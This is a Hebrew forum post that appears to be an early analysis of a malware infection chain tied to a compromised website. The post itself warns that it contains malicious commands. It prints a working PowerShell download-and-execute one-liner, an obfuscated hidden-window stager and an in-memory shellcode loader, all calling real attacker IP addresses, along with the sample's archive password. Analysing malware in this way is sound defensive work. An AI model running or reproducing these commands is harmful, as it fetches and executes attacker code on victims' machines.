אקדים ואומר זה מכיל פקודות זדוניות נא להפעיל ראש לפני שסתם עושים דברים,
אחרת אני לא אחראי על חוסר האחריות שלכם.
Spoiler
זה עכשיו מאוד קצר,
אני ישתדל להרחיב ולהסביר אחרי זה ביתר פירוט.
אם עניין מישהו
אז הפקודה הזאת
powershell -c iex(irm 158.94.208.86 -UseBasicParsing)
מורידה את הסקריפט הזה (צריך user agent של powershell),
try {
$bjIpBGrKhSw = @'
try {
$checkResult = Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing
Invoke-Expression $checkResult.Content
} catch {
}
'@
$nwlOLRnbTJHJGuIzB = New-Object System.Diagnostics.ProcessStartInfo
$nwlOLRnbTJHJGuIzB.FileName = "powershell.exe"
$nwlOLRnbTJHJGuIzB.Arguments = "-Command " + [char]34 + $bjIpBGrKhSw + [char]34
$nwlOLRnbTJHJGuIzB.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
$nwlOLRnbTJHJGuIzB.CreateNoWindow = $true
$nwlOLRnbTJHJGuIzB.UseShellExecute = $false
$PmgaQrhIGPERnniVQ = New-Object System.Diagnostics.Process
$PmgaQrhIGPERnniVQ.StartInfo = $nwlOLRnbTJHJGuIzB
$PmgaQrhIGPERnniVQ.Start() | Out-Null
} catch {
}
שעושה כמה בדיקות ואז מוריד את הסקריפט הזה,
$qfxynVtaoWkTGXPO = "http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin"
try {
$wkjmvrrQYG = Invoke-WebRequest -Uri $qfxynVtaoWkTGXPO -UseBasicParsing -ErrorAction Stop
$fxfUCqgKMKyq = $wkjmvrrQYG.Content
$jQYxAVfWTktBrihYMu = $fxfUCqgKMKyq.Length
$oifeVAXruKV = @"
using System;
using System.Runtime.InteropServices;
public class xKuKzcdScrPfQpehRq {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@
Add-Type -TypeDefinition $oifeVAXruKV
$LDeyMEWUGUaRBLR = 0x1000
$YMnLUdAdCBUqtPwzZe = 0x2000
$NfbibNbjY = 0x40
$VJzynl = [xKuKzcdScrPfQpehRq]::VirtualAlloc([IntPtr]::Zero, $jQYxAVfWTktBrihYMu, $LDeyMEWUGUaRBLR -bor $YMnLUdAdCBUqtPwzZe, $NfbibNbjY)
if ($VJzynl -eq [IntPtr]::Zero) { throw "Alloc failed" }
[System.Runtime.InteropServices.Marshal]::Copy($fxfUCqgKMKyq, 0, $VJzynl, $jQYxAVfWTktBrihYMu)
$RcgZSyj = 0
$cDVcAqtqupLLT = [xKuKzcdScrPfQpehRq]::CreateThread([IntPtr]::Zero, 0, $VJzynl, [IntPtr]::Zero, 0, [ref]$RcgZSyj)
if ($cDVcAqtqupLLT -eq [IntPtr]::Zero) { throw "Thread failed" }
[xKuKzcdScrPfQpehRq]::WaitForSingleObject($cDVcAqtqupLLT, 30000) | Out-Null
Write-Host "done."
}
catch {
exit 1
}
שהוא למעשה מוריד את הבינארי הזדוני ורק לram הוא מעולם לא נשמר למחשב,
my_l .bin.7z
סיסמה infected
https://www.virustotal.com/gui/file/c92950568a2b757d4ee0bad84b33f5b3414f0d5fdf3d3f5b06e7d304a7ccf1a1
לאחר מכן הshell code הזה שהוא מאוד דומה לפרויקט הזה ש@מתכנת-חובב העלה לא מזמן,
התוכנה הזאת מזריקה את עצמה לprocess בווינדוס כדוג' svchost.exe
ומשם ממשיכה הלאה צריך לראות מה ממשיך משם.
בכול אופן אני עכשיו מתמקד על איך האתר נפגע מלכתחילה ואיך הפריצה עובדת עכשיו.